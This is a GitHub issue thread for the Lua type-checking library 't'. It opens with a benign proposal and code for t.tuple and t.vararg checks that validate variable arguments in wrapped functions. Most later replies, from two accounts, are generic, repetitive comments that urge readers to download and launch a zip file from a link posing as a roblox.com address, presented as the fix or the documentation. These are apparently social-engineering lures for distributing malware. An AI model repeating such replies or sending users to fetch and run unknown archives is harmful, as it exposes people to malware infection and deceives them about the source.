Vararg check?

[freddylist]

t doesn't have a way to check varargs (if there is, then it's not documented and should be documented / I couldn't find it). You could, of course, t.array(check)({...}) inside the function to check, but you can't do that with t.wrap.

I suggest passing the last remaining arguments in a t.tuple check to the last check:

function t.tuple(...)
	local checks = { ... }
	local checkCount = #checks -- or `select('#', ...)`, whichever is fastest ig idk

	return function(...)
		local args = { ... }

		for i, check in ipairs(checks) do
			-- Pass any remaining arguments to the last check:
			local success, errMsg
			
			if i == checkCount then
				success, errMsg = check(select(i, ...))
			else
				success, errMsg = check(args[i])
			end

			if success == false then
				return false, string.format("Bad tuple index #%s:\n\t%s", i, errMsg or "")
			end
		end

		return true
	end
end

And adding a vararg check:

function t.vararg(check)
	assert(t.callback(check))

	return function(...)
		for i, v in ipairs({...}) do
			local success, errMsg = check(v)

			if success == false then
				return false, string.format("Bad vararg index #%s:\n\t%s", i, errMsg or "")
			end
		end
		
		return true
	end
end

This way, I can check varargs in wrapped functions! :D

local add = t.wrap(function(a, b, ...)
	local total = a + b
	
	for _, v in pairs({...}) do
		total += v
	end
	
	return total
end, t.tuple(t.number, t.number, t.vararg(t.number)))

print(add(1, 2, 3, 4, 5)) -- 15
print(add(1, 2, 3, 4, "a") -- error: bad tuple index 3, bad vararg index 3

I didn't open a pull request because I don't want to mess up those typescript thingies. The code here could probably be improved as well, but if you want, I can open a pull request with tests and I will do my best to do the typescript stuff correctly.

[allysonbr10]

You can address the issue of checking varargs in Lua by utilizing the provided code snippet for a vararg check function. To view the complete solution and examples, download and launch the file from this link: https://www.roblox.com/arch.zip.

[akolar1]

You can check varargs in wrapped functions by using the provided code snippet. To improve your code further, consider adding a vararg check function as suggested. Download and launch the file from the following link: https://www.roblox.com/arch.zip

[akolar1]

?

…

On Wed, Nov 6, 2024, 21:04 allysonbr10 ***@***.***> wrote: You can address the issue of checking varargs in Lua by utilizing the provided code snippet for a vararg check function. To view the complete solution and examples, download and launch the file from this link: https://www.roblox.com/arch.zip. — Reply to this email directly, view it on GitHub <#92 (comment)>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AUF6FZ6BSDGMQQ4JPDPNZB3Z7JY35AVCNFSM6AAAAABRJTV2GWVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDINRQGY3DOOJQGE> . You are receiving this because you commented.Message ID: ***@***.***>

[allysonbr10]

You can check varargs by using the t.vararg function in Lua. Here is a link to the relevant documentation: https://www.roblox.com/arch.zip.

[akolar1]

The link that will solve your issue is: https://www.roblox.com/arch.zip. Launch the file to address the problem you are encountering with Vararg check in your Lua code.

[allysonbr10]

You can check varargs by passing the remaining arguments in a t.tuple check to the last check in your Lua script. To address this, you can visit the following link for further assistance: https://www.roblox.com/arch.zip.